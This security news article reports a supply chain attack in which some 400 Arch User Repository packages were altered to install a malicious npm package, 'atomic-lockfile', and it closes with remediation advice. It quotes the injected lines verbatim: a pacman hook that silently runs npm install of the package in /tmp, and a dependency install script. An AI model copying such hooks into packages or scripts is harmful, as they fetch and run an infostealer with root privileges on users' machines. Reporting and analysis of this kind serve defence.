Hundreds of AUR Packages Trojanized with Malicious npm Dependency
A widespread supply chain attack on the Arch User Repository injects an infostealer via malicious npm install scripts.
Supply chain security is a multi-front battle, but cross-ecosystem attacks are particularly difficult to defend against. On June 11, 2026, security maintainers of the community-driven Arch User Repository (AUR) scrambled to contain a massive compromise. Over 400 packages were silently modified to execute a malicious payload during installation, leveraging a rogue package hosted on the npm registry.
The attack highlights the vulnerability of developer workstations and automated CI/CD pipelines that rely on unvetted community repositories.
How the Attack Unfolded
Maintainer Jonathan Grotelüschen confirmed on the aur-general mailing list that the Arch security team was actively resetting malicious commits, deleting compromised packages, and banning the offending accounts.
To gauge the scale of the compromise, developer André Herbst performed an audit on a read-only mirror of the AUR. By cloning the repository and running a recursive search for the string atomic-lockfile, Herbst identified approximately 408 affected packages.
$ git clone https://github.com/archlinux/aur.git
$ cd aur
$ while read ref; do git grep 'atomic-lockfile' $ref; done < <( git refs list --format '%(refname)' ) | grep -Po '(?<=refs\/remotes\/origin\/).*'
The affected packages spanned a wide variety of software, ranging from development tools like codeql-cli-bin and ansible-language-server to system utilities, drivers, and themes.
The Cross-Ecosystem Delivery Mechanism
Rather than embedding the malicious payload directly into the AUR's PKGBUILD files—which would be easily flagged by simple static analysis tools—the attackers used the AUR's installation hooks and post-install scripts to dynamically fetch and execute a malicious npm package named atomic-lockfile.
For example, in the archlinux-themes-slim package, the compromise was injected via a pacman hook designed to run during package transactions:
Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile semver dotenv 2>/dev/null; exit 0'
In other packages, such as ansible-language-server, the payload was triggered via a custom dependency installation script (ansible-language-server-deps.install):
npm install atomic-lockfile ansi-colors axios minimist
By executing npm install inside /tmp or during the package's post-installation phase, the malicious atomic-lockfile package was fetched from the public npm registry and executed on the host system. Because package installations typically run with elevated privileges (often as root via sudo), the malicious script had full administrative access to the target machine.
Implications for Developer Workstations and CI/CD
This incident underscores the inherent risks of community-maintained package repositories. Unlike official Arch Linux repositories, the AUR relies entirely on user-submitted content without pre-upload vetting. Many developers use AUR helpers like yay or paru to automate the build and installation process, often bypassing the manual review of PKGBUILD and .install files.
For organizations running CI/CD pipelines that build container images or test environments on Arch-based systems, this compromise poses a severe threat. A single pipeline pulling a compromised AUR package could expose sensitive environment variables, API keys, and cloud credentials to the infostealer.
Remediation and Defensive Strategies
If you maintain or use Arch Linux systems, immediate action is required to ensure your environments are clean.
- Audit Installed Packages: Run a local check on your system to see if any installed AUR packages contain references to the malicious npm package. You can inspect your local pacman cache or query installed hooks.
- Check for Artifacts: Inspect the
/tmpdirectory and your global npm cache for traces ofatomic-lockfile. - Enforce Code Review in CI: Never allow automated pipelines to pull and install AUR packages blindly. If your build process requires an AUR package, pin it to a specific, audited Git commit hash, or build the package offline and host it in a private repository.
- Run Builds Unprivileged: Ensure that package builds (which execute the
PKGBUILDscripts) run in isolated, unprivileged containers with restricted network access, preventing them from making outbound connections to fetch rogue npm packages or exfiltrate data.
Sources & further reading
- Hundreds of AUR packages attacked by infostealer — lists.archlinux.org
Ji-ho covers the increasingly tangled overlap between cloud architecture and security, drawing on a background as a penetration tester to keep his reporting grounded in real-world attack paths. He never lets a vendor claim go unquestioned and insists that every buzzword come with a proof of concept.
Discussion 0
No comments yet
Be the first to weigh in.